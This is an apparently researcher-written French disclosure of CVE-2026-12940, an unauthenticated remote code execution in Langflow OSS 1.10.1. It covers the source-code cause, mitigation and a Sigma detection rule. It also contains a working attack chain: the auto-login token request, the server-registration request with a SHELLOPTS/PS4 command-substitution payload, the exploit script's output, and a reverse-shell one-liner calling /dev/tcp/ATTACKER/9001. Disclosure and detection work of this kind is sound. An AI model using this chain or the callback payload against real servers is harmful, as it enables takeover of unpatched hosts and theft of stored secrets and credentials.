
CVE-2026-12940 — RCE sans authentification sur Langflow OSS <=1.10.1 via injection de variables d'environnement dans MCP stdio (SHELLOPTS/PS4). PoC de l'auteur + analyse du code source + laboratoire.
Exécution de code à distance non authentifiée dans Langflow
OSS jusqu'à la version 1.10.1. La liste noire de variables d'environnement qui protège la
configuration des serveurs MCP stdio (DANGEROUS_ENV_VARS) omet SHELLOPTS, BASHOPTS et
PS4. Le lanceur MCP stdio exécutant la commande configurée via bash -c, un attaquant peut
injecter SHELLOPTS=xtrace accompagné d'une substitution de commande PS4 et exécuter des
commandes shell arbitraires avec l'utilisateur du processus Langflow — sans commande MCP
valide ni authentification sur une installation par défaut.
| CVE | CVE-2026-12940 |
| Produit | Langflow OSS |
| Versions affectées | 1.0.0 – 1.10.1 |
| Corrigé | 1.10.2 |
| Classe | Injection de commandes OS (CWE-78) par injection de variables d'environnement |
| CVSS 3.1 | 9.8 CRITIQUE — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (IBM CNA) |
| Authentification | Non authentifiée sur installation par défaut (AUTO_LOGIN activé par défaut en 1.10.1) |
| Statut | CONFIRMÉ VULNÉRABLE — vérifié de bout en bout sur langflowai/langflow:1.10.1 |
Langflow permet à un utilisateur d'enregistrer des serveurs MCP (Model Context Protocol) stdio externes via
POST /api/v2/mcp/servers/{name}. Le corps de la requête est validé par MCPServerConfig
(src/backend/base/langflow/api/v2/schemas.py), qui contrôle soigneusement command, args
et les clés d'environnement :
command doit figurer dans une liste d'autorisation (node, python, npx, uvx, docker, sh, bash…).args sont analysés à la recherche de métacaractères shell (;, |, $, `, (, ), …) et de
mots-clés dangereux (-c, eval, pip install, …).DANGEROUS_ENV_VARS (LD_PRELOAD, PATH, NODE_OPTIONS,
PYTHONPATH, BASH_ENV, …).Deux failles se combinent pour aboutir à une RCE :
Les valeurs d'environnement ne sont jamais assainies. Seules les clés sont vérifiées par rapport à la liste noire ;
les valeurs sont transmises telles quelles. Ainsi, une valeur PS4 de $(id) survit alors même que
ces mêmes caractères seraient rejetés dans args.
La liste noire est incomplète. En 1.10.1, DANGEROUS_ENV_VARS ne contient pas
shellopts, bashopts ni ps4.
Le lanceur (src/lfx/src/lfx/base/mcp/util.py) exécute alors, sur Unix :
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
command="bash",
args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
env=env_data,
)
Avec SHELLOPTS=xtrace, bash active set -x au démarrage et, avant d'exécuter la première
ligne tracée, développe l'invite PS4. La substitution de commande dans PS4 s'exécute donc
immédiatement — indépendamment de command/args, qui n'ont même pas besoin d'être valides.
La liste noire est centralisée dans src/lfx/src/lfx/base/mcp/util.py sous le nom
DANGEROUS_MCP_ENV_VARS et intègre shellopts, bashopts, ps4 (ainsi que env, par
défense en profondeur). schemas.py appelle désormais is_dangerous_mcp_env_var().
L'enregistrement ci-dessous est rejeté avec une erreur HTTP 422 sur la version 1.10.2.
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4 : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user
$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)
La chaîne HTTP brute :
GET /api/v1/auto_login HTTP/1.1 → 200, {"access_token":"…"} (default install, no creds)
POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
{"command":"uvx","args":["mcp-server-fetch"],
"env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
→ 200 (accepted; LD_PRELOAD here → 422)
GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
→ 200, launcher spawns bash → PS4 runs `id`
--ps4 fournit une primitive brute pour les shells inversés / rappels OAST :
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
# (this box has no docker bridge; --network host is required)
# Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof
Test de la version corrigée (rejet) :
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS → HTTP 422
# "Environment variable 'SHELLOPTS' is not allowed for security reasons"
Voir EVIDENCE.txt pour la transcription complète de la session et
ANALYSIS.md pour l'analyse au niveau du code source.
CONFIRMÉ VULNÉRABLE sur langflowai/langflow:1.10.1, vérifié par deux techniques
indépendantes :
uid=1000(user) gid=0(root) groups=0(root), la sortie réelle de id(1) résolue
par rapport au /etc/passwd de la cible. Il ne s'agit pas d'un écho de la chaîne d'entrée $(id …).CALLBACK user@vbox 6.18.12+kali-amd64).CORRIGÉ sur langflowai/langflow:1.10.2 — le même enregistrement renvoie HTTP 422.
Note sur la revendication de non-authentification. L'image 1.10.1 est livrée avec
AUTO_LOGINactivé par défaut, de sorte que/api/v1/auto_loginrenvoie un jeton de superutilisateur à tout appelant sans informations d'identification — c'est ce qui rend la chaîne complète non authentifiée sur un déploiement par défaut. Sur une instance où l'authentification est obligatoire, la même RCE est accessible à tout utilisateur authentifié disposant d'un jeton/clé API valide (à transmettre via--token). L'image 1.10.2 exige en outre des informations d'identification pour démarrer, un durcissement sans rapport.
Exécution arbitraire de commandes avec le compte de service Langflow. Lecture complète de tous les secrets, identifiants et flux de la base de données Langflow, accès aux services internes et aux métadonnées cloud, et pivot vers le réseau environnant.
AUTO_LOGIN activé ; définir des
informations d'identification de superutilisateur explicites et désactiver l'auto-connexion.Recherchez les enregistrements de serveurs MCP dont l'environnement env transporte des variables de contrôle
shell, ainsi que les processus bash enfants du processus Langflow :
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …" parented by the langflow/gunicorn worker
Sigma (création de processus) :
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
selection:
Image|endswith: '/bash'
CommandLine|contains: 'exec '
ParentImage|contains: 'langflow'
env_marker:
CommandLine|contains:
- 'SHELLOPTS'
- 'PS4=$('
condition: selection or env_marker
level: high
© Caio Fabrício (BiiTts).